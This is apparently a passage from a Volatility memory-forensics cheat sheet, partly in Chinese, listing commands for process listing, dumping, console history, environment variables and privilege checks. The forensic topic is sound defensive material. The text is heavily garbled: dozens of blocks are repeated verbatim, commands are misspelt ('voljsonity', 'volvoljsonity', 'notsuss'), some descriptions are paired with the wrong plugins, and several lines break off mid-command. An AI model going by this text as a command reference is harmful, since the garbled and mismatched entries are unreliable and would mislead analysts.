* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Consumers**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Detecting Unlinked WMI Filters**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* \*\*Detecting

```bash
volatility --profile=PROFILE pstree -f file.dmp # Get process tree (not hidden)
volatility --profile=PROFILE pslist -f file.dmp # Get process list (EPROCESS)
volatility --profile=PROFILE psscan -f file.dmp # Get hidden process list(malware)
volatility --profile=PROFILE psxview -f file.dmp # Get hidden process list
```

#### 转储进程

```bash
./vol.py -f file.dmp windows.dumpfiles.DumpFiles --pid <pid> #Dump the .exe and dlls of the process in the current directory
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `voljsonity -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Extracting Registry Hjson**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
  * `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **Analyzing Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Identifying Suspicious Drivers**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Checking for Rootkits**
  * `volatility -f <memory_dump> --profile=<profile> malfind`
* **Analyzing Process DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyating Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`
* **Analyzing Process Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles -p <pid>`
* **Analyzing Process Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads -p <pid>`
* **Analyzing Process PEB**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Analyzing Process Memory Map**
  * `volatility -f <memory_dump> --profile=<profile> memmap -p <pid>`

```bash
volatility --profile=Win7SP1x86_23418 procdump --pid=3152 -n --dump-dir=. -f file.dmp
```

#### 命令行

是否执行了任何可疑操作？

```bash
python3 vol.py -f file.dmp windows.cmdline.CmdLine #Display process command-line arguments
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljsonity -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive** json - `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **File Extraction**
  * `volatility -f <memory_dump> --profile=<profile> filescan | grep -i <file_extension>`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <physical_offset> -D <output_directory>`
* **Kernel Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Process Environment Variables**
  * `volatility -f <memory_dump> --profile=<profile> envars -p <pid>`
* **Command History**
  * `volatility -f <memory_dump> --profile=<profile> cmdscan`
* **User Accounts**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Screenshots**
  * `volatility -f <memory_dump> --profile=<profile> screenshot -D <output_directory>`
* **Yara Scanning**
  * `voljsonity -f <memory_dump> --profile=<profile> yarascan --yara-rules=<rules_file>`

**Advanced Commands**

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Detecting Hidden Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Detecting Hidden TCP/UDP Ports**
  * `volatility -f <memory_dump> --profile=<profile> portscan`
* **Detecting Hidden Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden Callbacks**
  * `volatility -f <memory_dump> --profile=<profile> callbacks`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notsuss`
* **Detecting Hidden Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Driver Objects**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivescan`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notsuss`
* **Detecting Hidden Mutants**
  * `volvoljsonity -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Driver Objects**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivescan`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden GDT Hooks** json - `volatility -f <memory_dump> --profile=<profile> gdt`
* **Detecting Hidden EAT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> eat`
* **Detecting Hidden SSDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Detecting Hidden IRP Hooks**
  * `volatility -f <memory_dump> --profile=<profile> irpfind`
* **Detecting Hidden Notified Routines**
  * `volatility -f <memory_dump> --profile=<profile> notsuss`
* **Detecting Hidden Mutants**
  * `volvoljsonity -f <memory_dump> --profile=<profile> mutantscan`
* **Detecting Hidden Timers**
  * `volatility -f <memory_dump> --profile=<profile> timers`
* **Detecting Hidden Driver Objects**
  * `volatility -f <memory_dump> --profile=<profile> driverirp`
* **Detecting Hidden Registry Keys**
  * `volatility -f <memory_dump> --profile=<profile> hivescan`
* **Detecting Hidden Files**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Detecting Hidden TCP Connections**
  * `volatility -f <memory_dump> --profile=<profile> connscan`
* **Detecting Hidden Services**
  * `volatility -f <memory_dump> --profile=<profile> svcscan`
* **Detecting Hidden Drivers**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Detecting Hidden IDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Detecting Hidden GDT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Detecting Hidden EAT Hooks**
  * `volatility -f <memory_dump> --profile=<profile> eat`

```bash
volatility --profile=PROFILE cmdline -f file.dmp #Display process command-line arguments
volatility --profile=PROFILE consoles -f file.dmp #command history by scanning for _CONSOLE_INFORMATION
```

在`cmd.exe`中执行的命令由\*\*`conhost.exe`**（或在Windows 7之前的系统上为`csrss.exe`）管理。这意味着，如果在获取内存转储之前攻击者终止了**`cmd.exe`**，仍然可以从**`conhost.exe`**的内存中恢复会话的命令历史记录。要做到这一点，如果检测到控制台模块中的异常活动，应该转储相关**`conhost.exe`**进程的内存。然后，通过在此转储中搜索**字符串\*\*，可以潜在地提取会话中使用的命令行。

### 环境

获取每个运行进程的环境变量。可能会有一些有趣的值。

```bash
python3 vol.py -f file.dmp windows.envars.Envars [--pid <pid>] #Display process environment variables
```

### Volatility Cheat Sheet

#### Basic Commands

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Dumping a File**
  * `voljsonity -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`

#### Advanced Commands

* **Detecting Hidden Processes**
  * `volatility -f <memory_dump> --profile=<profile> psxview`
* **Analyzing Registry**
  * `volatility -f <memory_dump> --profile=<profile> printkey -K <key_path>`
* **Extracting DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Analyzing Drivers** json - `volatility -f <memory_dump> --profile=<profile> driverscan`
* **Identifying Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockets`
* **Analyzing Timelime**
  * `volatility -f <memory_dump> --profile=<profile> timeliner`
* **Dumping Registry Hives**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Analyzing PSScan**
  * `volatility -f <memory_dump> --profile=<profile> psscan`
* **Analyzing Mutants**
  * `volatility -f <memory_dump> --profile=<profile> mutantscan`
* **Analyzing Handles**
  * `volatility -f <memory_dump> --profile=<profile> handles`
* **Analyzing UserAssist**
  * `volatility -f <memory_dump> --profile=<profile> userassist`
* **Analyzing Shellbags**
  * `volatility -f <memory_dump> --profile=<profile> shellbags`
* **Analyzing MFT**
  * `volatility -f <memory_dump> --profile=<profile> mftparser`
* **Analyzing LDRModules**
  * `volatility -f <memory_dump> --profile=<profile> ldrmodules`
* **Analyating API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **Analyzing SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **Analyzing GDT**
  * `volatility -f <memory_dump> --profile=<profile> gdt`
* **Analyzing IDT**
  * `volatility -f <memory_dump> --profile=<profile> idt`
* **Analyzing CSRSS**
  * `volatility -f <memory_dump> --profile=<profile> csrss`
* **Analyzing Print Spooler**
  * `volatility -f <memory_dump> --profile=<profile> printkey`
* **Analyzing Desktops**
  * `volatility -f <memory_dump> --profile=<profile> desktops`
* **Analyzing Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Analyzing Threads**
  * `volatility -f <memory_dump> --profile=<profile> threads`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vaddump`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadwalk`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadtree`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadlist`
* **Analyzing Vad Trees**
  * `volatility -f <memory_dump> --profile=<profile> vadinfo`
* **Analyzing Vad Trees**
  * \`volatility -f \<memory\_dump> --profile=

```bash
volatility --profile=PROFILE envars -f file.dmp [--pid <pid>] #Display process environment variables

volatility --profile=PROFILE -f file.dmp linux_psenv [-p <pid>] #Get env of process. runlevel var means the runlevel where the proc is initated
```

#### 令牌权限

检查意外服务中的特权令牌。\
列出使用某些特权令牌的进程可能很有趣。

```bash
#Get enabled privileges of some processes
python3 vol.py -f file.dmp windows.privileges.Privs [--pid <pid>]
#Get all processes with interesting privileges
python3 vol.py -f file.dmp windows.privileges.Privs | grep "SeImpersonatePrivilege\|SeAssignPrimaryPrivilege\|SeTcbPrivilege\|SeBackupPrivilege\|SeRestorePrivilege\|SeCreateTokenPrivilege\|SeLoadDriverPrivilege\|SeTakeOwnershipPrivilege\|SeDebugPrivilege"
```

#### Volatility Cheat Sheet

**Basic Commands**

* **Image Identification**
  * `volatility -f <memory_dump> imageinfo`
* **Listing Processes**
  * `volatility -f <memory_dump> --profile=<profile> pslist`
* **Dumping a Process**
  * `voljsonity -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
* **Listing DLLs**
  * `volatility -f <memory_dump> --profile=<profile> dlllist -p <pid>`
* **Dumping a DLL**
  * `volatility -f <memory_dump> --profile=<profile> dlldump -p <pid> -D <output_directory>`
* **Listing Sockets**
  * `volatility -f <memory_dump> --profile=<profile> sockscan`
* **Network Connections**
  * `volatility -f <memory_dump> --profile=<profile> connections`
* **Registry Analysis**
  * `volatility -f <memory_dump> --profile=<profile> hivelist`
* **Dumping Registry Hive** json - `volatility -f <memory_dump> --profile=<profile> printkey -o <offset>`
* **File Extraction**
  * `volatility -f <memory_dump> --profile=<profile> filescan`
* **Dumping a File**
  * `volatility -f <memory_dump> --profile=<profile> dumpfiles -Q <address_range> -D <output_directory>`
* **Kernel Modules**
  * `volatility -f <memory_dump> --profile=<profile> modscan`
* **Driver Modules**
  * `volatility -f <memory_dump> --profile=<profile> driverscan`
* **SSDT**
  * `volatility -f <memory_dump> --profile=<profile> ssdt`
* **API Hooks**
  * `volatility -f <memory_dump> --profile=<profile> apihooks`
* **UserAssist**
  * `voljsonity -f <memory_dump> --profile=<profile> userassist`
* **Privileges**
  * `volatility -f <memory_dump> --profile=<profile> privs`
* **Crash Dumps**
  * `volatility -f <memory_dump> --profile=<profile> crashinfo`
* **Yara Scanning**
  * `volatility -f <memory_dump> --profile=<profile> yarascan --yara-file=<rules_file>`
* **Dumping a Process**
  * `volatility -f <memory_dump> --profile=<profile> memdump -p <pid> -D <output_directory>`
